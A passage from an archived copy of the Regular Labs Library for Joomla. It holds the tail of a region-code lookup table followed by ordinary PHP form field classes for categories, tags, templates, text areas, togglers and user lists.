'GB-P4' => 'United Kingdom: West Berkshire',
'GB-W7' => 'United Kingdom: West Dunbartonshire',
'GB-97' => 'United Kingdom: West Glamorgan',
'GB-W9' => 'United Kingdom: West Lothian',
'GB-43' => 'United Kingdom: West Midlands',
'GB-P6' => 'United Kingdom: West Sussex',
'GB-45' => 'United Kingdom: West Yorkshire',
'GB-P5' => 'United Kingdom: Westminster',
'GB-P7' => 'United Kingdom: Wigan',
'GB-P8' => 'United Kingdom: Wiltshire',
'GB-P9' => 'United Kingdom: Windsor and Maidenhead',
'GB-Q1' => 'United Kingdom: Wirral',
'GB-Q2' => 'United Kingdom: Wokingham',
'GB-Q3' => 'United Kingdom: Wolverhampton',
'GB-Q4' => 'United Kingdom: Worcestershire',
'GB-Z4' => 'United Kingdom: Wrexham',
'GB-Q5' => 'United Kingdom: York',
'--US' => '','-US' => 'United
States',
'US-AL' => 'United States: Alabama',
'US-AK' => 'United States: Alaska',
'US-AS' => 'United States: American Samoa',
'US-AZ' => 'United States: Arizona',
'US-AR' => 'United States: Arkansas',
'US-AA' => 'United States: Armed Forces Americas',
'US-AE' => 'United States: Armed Forces Europe',
'US-AP' => 'United States: Armed Forces Pacific',
'US-CA' => 'United States: California',
'US-CO' => 'United States: Colorado',
'US-CT' => 'United States: Connecticut',
'US-DE' => 'United States: Delaware',
'US-DC' => 'United States: District of Columbia',
'US-FM' => 'United States: Federated States of
Micronesia',
'US-FL' => 'United States: Florida',
'US-GA' => 'United States: Georgia',
'US-GU' => 'United States: Guam',
'US-HI' => 'United States: Hawaii',
'US-ID' => 'United States: Idaho',
'US-IL' => 'United States: Illinois',
'US-IN' => 'United States: Indiana',
'US-IA' => 'United States: Iowa',
'US-KS' => 'United States: Kansas',
'US-KY' => 'United States: Kentucky',
'US-LA' => 'United States: Louisiana',
'US-ME' => 'United States: Maine',
'US-MH' => 'United States: Marshall Islands',
'US-MD' => 'United States: Maryland',
'US-MA' => 'United States: Massachusetts',
'US-MI' => 'United States: Michigan',
'US-MN' => 'United States: Minnesota',
'US-MS' => 'United States: Mississippi',
'US-MO' => 'United States: Missouri',
'US-MT' => 'United States: Montana',
'US-NE' => 'United States: Nebraska',
'US-NV' => 'United States: Nevada',
'US-NH' => 'United States: New Hampshire',
'US-NJ' => 'United States: New Jersey',
'US-NM' => 'United States: New Mexico',
'US-NY' => 'United States: New York',
'US-NC' => 'United States: North Carolina',
'US-ND' => 'United States: North Dakota',
'US-MP' => 'United States: Northern Mariana
Islands',
'US-OH' => 'United States: Ohio',
'US-OK' => 'United States: Oklahoma',
'US-OR' => 'United States: Oregon',
'US-PW' => 'United States: Palau',
'US-PA' => 'United States: Pennsylvania',
'US-PR' => 'United States: Puerto Rico',
'US-RI' => 'United States: Rhode Island',
'US-SC' => 'United States: South Carolina',
'US-SD' => 'United States: South Dakota',
'US-TN' => 'United States: Tennessee',
'US-TX' => 'United States: Texas',
'US-UT' => 'United States: Utah',
'US-VT' => 'United States: Vermont',
'US-VI' => 'United States: Virgin Islands',
'US-VA' => 'United States: Virginia',
'US-WA' => 'United States: Washington',
'US-WV' => 'United States: West Virginia',
'US-WI' => 'United States: Wisconsin',
'US-WY' => 'United States: Wyoming',
'--UY' => '','-UY' =>
'Uruguay',
'UY-01' => 'Uruguay: Artigas',
'UY-02' => 'Uruguay: Canelones',
'UY-03' => 'Uruguay: Cerro Largo',
'UY-04' => 'Uruguay: Colonia',
'UY-05' => 'Uruguay: Durazno',
'UY-06' => 'Uruguay: Flores',
'UY-07' => 'Uruguay: Florida',
'UY-08' => 'Uruguay: Lavalleja',
'UY-09' => 'Uruguay: Maldonado',
'UY-10' => 'Uruguay: Montevideo',
'UY-11' => 'Uruguay: Paysandu',
'UY-12' => 'Uruguay: Rio Negro',
'UY-13' => 'Uruguay: Rivera',
'UY-14' => 'Uruguay: Rocha',
'UY-15' => 'Uruguay: Salto',
'UY-16' => 'Uruguay: San Jose',
'UY-17' => 'Uruguay: Soriano',
'UY-18' => 'Uruguay: Tacuarembo',
'UY-19' => 'Uruguay: Treinta y Tres',
'--UZ' => '','-UZ' =>
'Uzbekistan',
'UZ-01' => 'Uzbekistan: Andijon',
'UZ-02' => 'Uzbekistan: Bukhoro',
'UZ-03' => 'Uzbekistan: Farghona',
'UZ-04' => 'Uzbekistan: Jizzakh',
'UZ-05' => 'Uzbekistan: Khorazm',
'UZ-06' => 'Uzbekistan: Namangan',
'UZ-07' => 'Uzbekistan: Nawoiy',
'UZ-08' => 'Uzbekistan: Qashqadaryo',
'UZ-09' => 'Uzbekistan: Qoraqalpoghiston',
'UZ-10' => 'Uzbekistan: Samarqand',
'UZ-11' => 'Uzbekistan: Sirdaryo',
'UZ-12' => 'Uzbekistan: Surkhondaryo',
'UZ-13' => 'Uzbekistan: Toshkent',
'UZ-14' => 'Uzbekistan: Toshkent',
'--VU' => '','-VU' =>
'Vanuatu',
'VU-05' => 'Vanuatu: Ambrym',
'VU-06' => 'Vanuatu: Aoba',
'VU-08' => 'Vanuatu: Efate',
'VU-09' => 'Vanuatu: Epi',
'VU-10' => 'Vanuatu: Malakula',
'VU-16' => 'Vanuatu: Malampa',
'VU-11' => 'Vanuatu: Paama',
'VU-17' => 'Vanuatu: Penama',
'VU-12' => 'Vanuatu: Pentecote',
'VU-13' => 'Vanuatu: Sanma',
'VU-18' => 'Vanuatu: Shefa',
'VU-14' => 'Vanuatu: Shepherd',
'VU-15' => 'Vanuatu: Tafea',
'VU-07' => 'Vanuatu: Torba',
'--VE' => '','-VE' =>
'Venezuela',
'VE-01' => 'Venezuela: Amazonas',
'VE-02' => 'Venezuela: Anzoategui',
'VE-03' => 'Venezuela: Apure',
'VE-04' => 'Venezuela: Aragua',
'VE-05' => 'Venezuela: Barinas',
'VE-06' => 'Venezuela: Bolivar',
'VE-07' => 'Venezuela: Carabobo',
'VE-08' => 'Venezuela: Cojedes',
'VE-09' => 'Venezuela: Delta Amacuro',
'VE-24' => 'Venezuela: Dependencias Federales',
'VE-25' => 'Venezuela: Distrito Federal',
'VE-11' => 'Venezuela: Falcon',
'VE-12' => 'Venezuela: Guarico',
'VE-13' => 'Venezuela: Lara',
'VE-14' => 'Venezuela: Merida',
'VE-15' => 'Venezuela: Miranda',
'VE-16' => 'Venezuela: Monagas',
'VE-17' => 'Venezuela: Nueva Esparta',
'VE-18' => 'Venezuela: Portuguesa',
'VE-19' => 'Venezuela: Sucre',
'VE-20' => 'Venezuela: Tachira',
'VE-21' => 'Venezuela: Trujillo',
'VE-26' => 'Venezuela: Vargas',
'VE-22' => 'Venezuela: Yaracuy',
'VE-23' => 'Venezuela: Zulia',
'--VN' => '','-VN' =>
'Vietnam',
'VN-43' => 'Vietnam: An Giang',
'VN-53' => 'Vietnam: Ba Ria-Vung Tau',
'VN-02' => 'Vietnam: Bac Thai',
'VN-03' => 'Vietnam: Ben Tre',
'VN-54' => 'Vietnam: Binh Dinh',
'VN-55' => 'Vietnam: Binh Thuan',
'VN-56' => 'Vietnam: Can Tho',
'VN-05' => 'Vietnam: Cao Bang',
'VN-44' => 'Vietnam: Dac Lac',
'VN-45' => 'Vietnam: Dong Nai',
'VN-20' => 'Vietnam: Dong Nam Bo',
'VN-46' => 'Vietnam: Dong Thap',
'VN-57' => 'Vietnam: Gia Lai',
'VN-11' => 'Vietnam: Ha Bac',
'VN-58' => 'Vietnam: Ha Giang',
'VN-51' => 'Vietnam: Ha Noi',
'VN-59' => 'Vietnam: Ha Tay',
'VN-60' => 'Vietnam: Ha Tinh',
'VN-12' => 'Vietnam: Hai Hung',
'VN-13' => 'Vietnam: Hai Phong',
'VN-52' => 'Vietnam: Ho Chi Minh',
'VN-61' => 'Vietnam: Hoa Binh',
'VN-62' => 'Vietnam: Khanh Hoa',
'VN-47' => 'Vietnam: Kien Giang',
'VN-63' => 'Vietnam: Kon Tum',
'VN-22' => 'Vietnam: Lai Chau',
'VN-23' => 'Vietnam: Lam Dong',
'VN-39' => 'Vietnam: Lang Son',
'VN-64' => 'Vietnam: Lao Cai',
'VN-24' => 'Vietnam: Long An',
'VN-48' => 'Vietnam: Minh Hai',
'VN-65' => 'Vietnam: Nam Ha',
'VN-66' => 'Vietnam: Nghe An',
'VN-67' => 'Vietnam: Ninh Binh',
'VN-68' => 'Vietnam: Ninh Thuan',
'VN-69' => 'Vietnam: Phu Yen',
'VN-70' => 'Vietnam: Quang Binh',
'VN-29' => 'Vietnam: Quang Nam-Da Nang',
'VN-71' => 'Vietnam: Quang Ngai',
'VN-30' => 'Vietnam: Quang Ninh',
'VN-72' => 'Vietnam: Quang Tri',
'VN-73' => 'Vietnam: Soc Trang',
'VN-32' => 'Vietnam: Son La',
'VN-49' => 'Vietnam: Song Be',
'VN-33' => 'Vietnam: Tay Ninh',
'VN-35' => 'Vietnam: Thai Binh',
'VN-34' => 'Vietnam: Thanh Hoa',
'VN-74' => 'Vietnam: Thua Thien',
'VN-37' => 'Vietnam: Tien Giang',
'VN-75' => 'Vietnam: Tra Vinh',
'VN-76' => 'Vietnam: Tuyen Quang',
'VN-77' => 'Vietnam: Vinh Long',
'VN-50' => 'Vietnam: Vinh Phu',
'VN-78' => 'Vietnam: Yen Bai',
'--YE' => '','-YE' =>
'Yemen',
'YE-01' => 'Yemen: Abyan',
'YE-20' => 'Yemen: Al Bayda\'',
'YE-08' => 'Yemen: Al Hudaydah',
'YE-21' => 'Yemen: Al Jawf',
'YE-03' => 'Yemen: Al Mahrah',
'YE-10' => 'Yemen: Al Mahwit',
'YE-11' => 'Yemen: Dhamar',
'YE-04' => 'Yemen: Hadramawt',
'YE-22' => 'Yemen: Hajjah',
'YE-23' => 'Yemen: Ibb',
'YE-24' => 'Yemen: Lahij',
'YE-14' => 'Yemen: Ma\'rib',
'YE-15' => 'Yemen: Sa',
'YE-16' => 'Yemen: San',
'YE-05' => 'Yemen: Shabwah',
'YE-25' => 'Yemen: Ta',
'--ZM' => '','-ZM' =>
'Zambia',
'ZM-02' => 'Zambia: Central',
'ZM-08' => 'Zambia: Copperbelt',
'ZM-03' => 'Zambia: Eastern',
'ZM-04' => 'Zambia: Luapula',
'ZM-09' => 'Zambia: Lusaka',
'ZM-05' => 'Zambia: Northern',
'ZM-06' => 'Zambia: North-Western',
'ZM-07' => 'Zambia: Southern',
'ZM-01' => 'Zambia: Western',
'--ZW' => '','-ZW' =>
'Zimbabwe',
'ZW-09' => 'Zimbabwe: Bulawayo',
'ZW-10' => 'Zimbabwe: Harare',
'ZW-01' => 'Zimbabwe: Manicaland',
'ZW-03' => 'Zimbabwe: Mashonaland Central',
'ZW-04' => 'Zimbabwe: Mashonaland East',
'ZW-05' => 'Zimbabwe: Mashonaland West',
'ZW-08' => 'Zimbabwe: Masvingo',
'ZW-06' => 'Zimbabwe: Matabeleland North',
'ZW-07' => 'Zimbabwe: Matabeleland South',
'ZW-02' => 'Zimbabwe: Midlands\'
fields/showon.php000064400000002115151167425550010052 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\ShowOn as RL_ShowOn;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_ShowOn extends \RegularLabs\Library\Field
{
public $type = 'ShowOn';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$value = (string) $this->get('value');
$class = $this->get('class', '');
$formControl = $this->get('form', $this->formControl);
$formControl = $formControl == 'root' ? '' :
$formControl;
if ( ! $value)
{
return RL_ShowOn::close();
}
return '</div></div>'
. RL_ShowOn::open($value, $formControl, $this->group, $class)
. '<div><div>';
}
}
fields/simplecategories.php000064400000005732151167425550012104
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\ShowOn as RL_ShowOn;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_SimpleCategories extends \RegularLabs\Library\Field
{
public $type = 'SimpleCategories';
protected function getInput()
{
$size = (int) $this->get('size');
$attr = $this->get('onchange') ? '
onchange="' . $this->get('onchange') .
'"' : '';
$categories = $this->getOptions();
$options = parent::getOptions();
if ($this->get('show_none', 1))
{
$options[] = JHtml::_('select.option', '', '-
' . JText::_('JNONE') . ' -');
}
if ($this->get('show_new', 1))
{
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_NEW_CATEGORY') . ' -');
}
$options = array_merge($options, $categories);
if ( ! $this->get('show_new', 1))
{
return JHtml::_('select.genericlist',
$options,
$this->name,
trim($attr),
'value',
'text',
$this->value,
$this->id
);
}
JHtml::_('jquery.framework');
RL_Document::script('regularlabs/simplecategories.min.js');
$selectlist = $this->selectListSimple(
$options,
$this->getName($this->fieldname . '_select'),
$this->value,
$this->getId('', $this->fieldname .
'_select'),
$size,
false
);
$html = [];
$html[] = '<div class="rl_simplecategory">';
$html[] = '<div
class="rl_simplecategory_select">' . $selectlist .
'</div>';
$html[] = RL_ShowOn::show(
'<div class="rl_simplecategory_new">'
. '<input type="text" id="' . $this->id .
'_new" value="" placeholder="' .
JText::_('RL_NEW_CATEGORY_ENTER') . '">'
. '</div>',
$this->fieldname . '_select:-1', $this->formControl
);
$html[] = '<input type="hidden"
class="rl_simplecategory_value" id="' . $this->id .
'" name="' . $this->name . '"
value="' . $this->value . '" />';
$html[] = '</div>';
return implode('', $html);
}
protected function getOptions()
{
$table = $this->get('table');
if ( ! $table)
{
return [];
}
// Get the user groups from the database.
$query = $this->db->getQuery(true)
->select([
$this->db->quoteName('category', 'value'),
$this->db->quoteName('category', 'text'),
])
->from($this->db->quoteName('#__' . $table))
->where($this->db->quoteName('category') . ' !=
' . $this->db->quote(''))
->group($this->db->quoteName('category'))
->order($this->db->quoteName('category') . '
ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/subform.php000064400000001507151167425550010216 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('subform');
class JFormFieldRL_Subform extends \JFormFieldSubform
{
public function __construct($form = null)
{
parent::__construct($form);
}
protected function getLayoutPaths()
{
$paths = parent::getLayoutPaths();
$paths[] = JPATH_LIBRARIES . '/regularlabs/layouts';
return $paths;
}
}
fields/tags.php000064400000005062151167425550007477 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Tags extends \RegularLabs\Library\Field
{
public $type = 'Tags';
protected function getInput()
{
$size = (int) $this->get('size');
$simple = (int) $this->get('simple');
$show_ignore = $this->get('show_ignore');
$use_names = $this->get('use_names');
if ($show_ignore && in_array('-1', $this->value))
{
$this->value = ['-1'];
}
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'simple', 'show_ignore',
'use_names'),
$simple
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$simple = $attributes->get('simple');
$options = $this->getOptions(
(bool) $attributes->get('show_all'),
(bool) $attributes->get('use_names')
);
return $this->selectList($options, $name, $value, $id, $size, true,
$simple);
}
protected function getOptions($show_ignore = false, $use_names = false,
$value = [])
{
// assemble items to the array
$options = [];
if ($show_ignore)
{
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -');
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
$options = array_merge($options, $this->getTags($use_names));
return $options;
}
protected function getTags($use_names)
{
$value = $use_names ? 'a.title' : 'a.id';
$query = $this->db->getQuery(true)
->select($value . ' as value, a.title as text, a.parent_id AS
parent')
->from('#__tags AS a')
->select('COUNT(DISTINCT b.id) - 1 AS level')
->join('LEFT', '#__tags AS b ON a.lft > b.lft AND
a.rgt < b.rgt')
->where('a.alias <> ' .
$this->db->quote('root'))
->where('a.published IN (0,1)')
->group('a.id')
->order('a.lft ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/templates.php000064400000006152151167425550010540 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Templates extends \RegularLabs\Library\Field
{
public $type = 'Templates';
protected function getInput()
{
// fix old '::' separator and change it to '--'
$value = json_encode($this->value);
$value = str_replace('::', '--', $value);
$value = (array) json_decode($value, true);
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
return $this->selectListAjax(
$this->type, $this->name, $value, $this->id,
compact('size', 'multiple')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getOptions();
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
protected function getOptions()
{
$options = [];
$templates = $this->getTemplates();
foreach ($templates as $styles)
{
$level = 0;
foreach ($styles as $style)
{
$style->level = $level;
$options[] = $style;
if (count($styles) <= 2)
{
break;
}
$level = 1;
}
}
return $options;
}
protected function getTemplates()
{
$groups = [];
$lang = JFactory::getLanguage();
// Get the database object and a new query object.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('s.id, s.title, e.name as name, s.template')
->from('#__template_styles as s')
->where('s.client_id = 0')
->join('LEFT', '#__extensions as e on
e.element=s.template')
->where('e.enabled=1')
->where($db->quoteName('e.type') . '=' .
$db->quote('template'))
->order('s.template')
->order('s.title');
// Set the query and load the styles.
$db->setQuery($query);
$styles = $db->loadObjectList();
// Build the grouped list array.
if ($styles)
{
foreach ($styles as $style)
{
$template = $style->template;
$lang->load('tpl_' . $template . '.sys',
JPATH_SITE)
|| $lang->load('tpl_' . $template . '.sys',
JPATH_SITE . '/templates/' . $template);
$name = JText::_($style->name);
// Initialize the group if necessary.
if ( ! isset($groups[$template]))
{
$groups[$template] = [];
$groups[$template][] = JHtml::_('select.option', $template,
$name);
}
$groups[$template][] = JHtml::_('select.option', $template .
'--' . $style->id, $style->title);
}
}
return $groups;
}
}
fields/text.php000064400000003677151167425550007537 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('text');
class JFormFieldRL_Text extends JFormFieldText
{
public $type = 'Text';
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$this->element = $element;
$element['label'] =
$this->prepareText($element['label']);
$element['description'] =
$this->prepareText($element['description']);
$element['hint'] =
$this->prepareText($element['hint']);
$element['translateDescription'] = false;
return parent::setup($element, $value, $group);
}
private function prepareText($string = '')
{
$string = trim($string);
if ($string == '')
{
return '';
}
// variables
$var1 = JText::_($this->get('var1'));
$var2 = JText::_($this->get('var2'));
$var3 = JText::_($this->get('var3'));
$var4 = JText::_($this->get('var4'));
$var5 = JText::_($this->get('var5'));
$string = JText::sprintf(JText::_($string), $var1, $var2, $var3, $var4,
$var5);
$string = trim(RL_String::html_entity_decoder($string));
$string = str_replace('"', '"',
$string);
$string = str_replace('span
style="font-family:monospace;"', 'span
class="rl_code"', $string);
return $string;
}
private function get($val, $default = '')
{
if ( ! isset($this->params[$val]) || (string) $this->params[$val]
== '')
{
return $default;
}
return (string) $this->params[$val];
}
}
fields/textareaplus.php000064400000006626151167425550011271
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Date\Date as JDate;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_TextAreaPlus extends \RegularLabs\Library\Field
{
public $type = 'TextAreaPlus';
protected function getLabel()
{
$resize = $this->get('resize', 0);
$show_insert_date_name = $this->get('show_insert_date_name',
0);
$add_separator = $this->get('add_separator', 1);
$label =
RL_String::html_entity_decoder(JText::_($this->get('label')));
$attribs = 'id="' . $this->id . '-lbl"
for="' . $this->id . '"';
if ($this->description)
{
$attribs .= ' class="hasPopover" title="' .
$label . '"'
. ' data-content="' . JText::_($this->description) .
'"';
}
$html = '<label ' . $attribs . '>' . $label;
if ($show_insert_date_name)
{
$date_name = JDate::getInstance()->format('[Y-m-d]') .
' ' . JFactory::getUser()->name . ' : ';
$separator = $add_separator ? '---' : 'none';
$onclick = "RegularLabsForm.prependTextarea('" .
$this->id . "', '" . addslashes($date_name) .
"', '" . $separator . "');";
$html .= '<br><span role="button"
class="btn btn-mini rl_insert_date" onclick="' .
$onclick . '">'
. JText::_('RL_INSERT_DATE_NAME')
. '</span>';
}
if ($resize)
{
$html .= '<br><span role="button"
class="rl_resize_textarea rl_maximize"'
. ' data-id="' . $this->id . '"
data-min="' . $this->get('height', 80) .
'" data-max="' . $resize . '">'
. '<span
class="rl_resize_textarea_maximize">'
. '[ + ]'
. '</span>'
. '<span
class="rl_resize_textarea_minimize">'
. '[ - ]'
. '</span>'
. '</span>';
}
$html .= '</label>';
return $html;
}
protected function getInput()
{
$width = $this->get('width', 600);
$height = $this->get('height', 80);
$class = ' class="' . trim('rl_textarea ' .
$this->get('class')) . '"';
$type = $this->get('texttype');
$hint = $this->get('hint');
if (is_array($this->value))
{
$this->value = trim(implode("\n", $this->value));
}
if ($type == 'html')
{
// Convert <br> tags so they are not visible when editing
$this->value = str_replace('<br>', "\n",
$this->value);
}
else if ($type == 'regex')
{
// Protects the special characters
$this->value = str_replace('[:REGEX_ENTER:]',
'\n', $this->value);
}
if ($this->get('translate') &&
$this->get('translate') !== 'false')
{
$this->value = JText::_($this->value);
$hint = JText::_($hint);
}
$this->value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
$hint = $hint ? ' placeholder="' . $hint .
'"' : '';
return
'<textarea name="' . $this->name . '"
cols="' . (round($width / 7.5)) . '" rows="'
. (round($height / 15)) . '"'
. ' style="width:' . (($width == '600') ?
'100%' : $width . 'px') . ';height:' .
$height . 'px"'
. ' id="' . $this->id . '"' . $class .
$hint . '>' . $this->value . '</textarea>';
}
}
fields/toggler.php000064400000006077151167425550010213 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\FormField as JFormField;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
/**
* @deprecated 2018-10-30 Use ShowOn instead
*/
/**
* To use this, make a start xml param tag with the param and value set
* And an end xml param tag without the param and value set
* Everything between those tags will be included in the slide
*
* Available extra parameters:
* param The name of the reference parameter
* value a comma separated list of value on which to show the
framework
*/
class JFormFieldRL_Toggler extends JFormField
{
public $type = 'Toggler';
protected function getLabel()
{
return '';
}
protected function getInput()
{
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return null;
}
$field = new RLFieldToggler;
return $field->getInput($this->element->attributes());
}
}
class RLFieldToggler
{
function getInput($params)
{
$this->params = $params;
$option =
JFactory::getApplication()->input->get('option');
// do not place toggler stuff on JoomFish pages
if ($option == 'com_joomfish')
{
return '';
}
$param = $this->get('param');
$value = $this->get('value');
$nofx = $this->get('nofx');
$method = $this->get('method');
$div = $this->get('div', 0);
RL_Document::script('regularlabs/toggler.min.js');
$param = RL_RegEx::replace('^\s*(.*?)\s*$', '\1',
$param);
$param = RL_RegEx::replace('\s*\|\s*', '|', $param);
$html = [];
if ( ! $param)
{
return '</div>';
}
$param = RL_RegEx::replace('[^a-z0-9-\.\|\@]',
'_', $param);
$param = str_replace('@', '_', $param);
$set_groups = explode('|', $param);
$set_values = explode('|', $value);
$ids = [];
foreach ($set_groups as $i => $group)
{
$count = $i;
if ($count >= count($set_values))
{
$count = 0;
}
$value = explode(',', $set_values[$count]);
foreach ($value as $val)
{
$ids[] = $group . '.' . $val;
}
}
if ( ! $div)
{
$html[] = '</div></div>';
}
$html[] = '<div id="' . rand(1000000, 9999999) .
'___' . implode('___', $ids) . '"
class="rl_toggler';
if ($nofx)
{
$html[] = ' rl_toggler_nofx';
}
if ($method == 'and')
{
$html[] = ' rl_toggler_and';
}
$html[] = '">';
if ( ! $div)
{
$html[] = '<div><div>';
}
return implode('', $html);
}
private function get($val, $default = '')
{
if ( ! isset($this->params[$val]) || (string) $this->params[$val]
== '')
{
return $default;
}
return (string) $this->params[$val];
}
}
fields/users.php000064400000004525151167425550007705 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Users extends \RegularLabs\Library\Field
{
public $type = 'Users';
protected function getInput()
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_current = $this->get('show_current');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple',
'show_current')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$show_current = $attributes->get('show_current');
$options = $this->getUsers();
if (is_array($options) && $show_current)
{
array_unshift($options, JHtml::_('select.option',
'current', '- ' . JText::_('RL_CURRENT_USER')
. ' -'));
}
return $this->selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
function getUsers()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__users AS u');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('u.name, u.username, u.id, u.block as disabled')
->order('name');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
$list = array_map(function ($item) {
if ($item->disabled)
{
$item->name .= ' (' . JText::_('JDISABLED') .
')';
}
return $item;
}, $list);
return $this->getOptionsByList($list, ['username',
'id']);
}
}
fields/version.php000064400000003014151167425550010221 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
